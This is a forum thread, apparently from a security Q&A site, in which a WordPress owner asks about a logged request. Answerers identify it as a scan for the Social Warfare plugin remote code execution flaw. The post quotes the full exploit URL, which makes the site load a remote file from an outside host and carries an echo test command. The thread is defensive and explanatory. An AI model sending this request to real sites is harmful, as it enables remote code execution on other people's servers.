0

I noticed there were over 550 malicious request rejected by the wordpress firewall but only this was accepted with HTTP 200 OK. This is the URL

http://domainname.com//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://bearxcat.com//wp-includes/css/help.txt&wpaa=echo "h1loo1";

I am worried because i immediately googled the bearxcat.com, it was in another language and google stated this site might be hacked.

I immediately did a malware scan but nothing was found. I noticed after this request they sent /webconfig.txt.php, administrator/webconfig.txt.php but these were all rejected by the firewall.

Should i be worried about the one that was OK? Please Help!

  • 1
    Based on the URL, are you using the social warfare addon for WP? Because last month, it had a vulnerability discovered and it looks as though someone might be trying to exploit that. – Crumblez Apr 23 at 19:11
  • Thank you for the response Crumblez. No, I am not using the Social warfare plugin for WP. Never installed it. I dont know if I’m supposed to take an extra step. And if yes, what step. I know with security, the earlier the better. – Wortam Apr 23 at 19:25
  • If you're not using it, then I think you don't have anything to worry about. It might have just responded 200 OK because it could hit the admin section, not because it could actually execute anything. As far as next steps, if you make sure that all your plugins are updated as soon as updates are made available, then you should be ahead of the curve. – Crumblez Apr 23 at 19:43
1

This is attackers scanning for CVE-2019-9978 social warfare RCE (remote code execution) vulnerability

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-wordpress-social-warfare-plugin-cve-2019-9978/

It is trying to execute the benign test command of

echo "h1loo1"

The scanner/ attacker then tests to see whether they got the word "h1loo1" back in the response to know if the RCE succeeded or not.

As long as you don't have that plugin you're all good

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.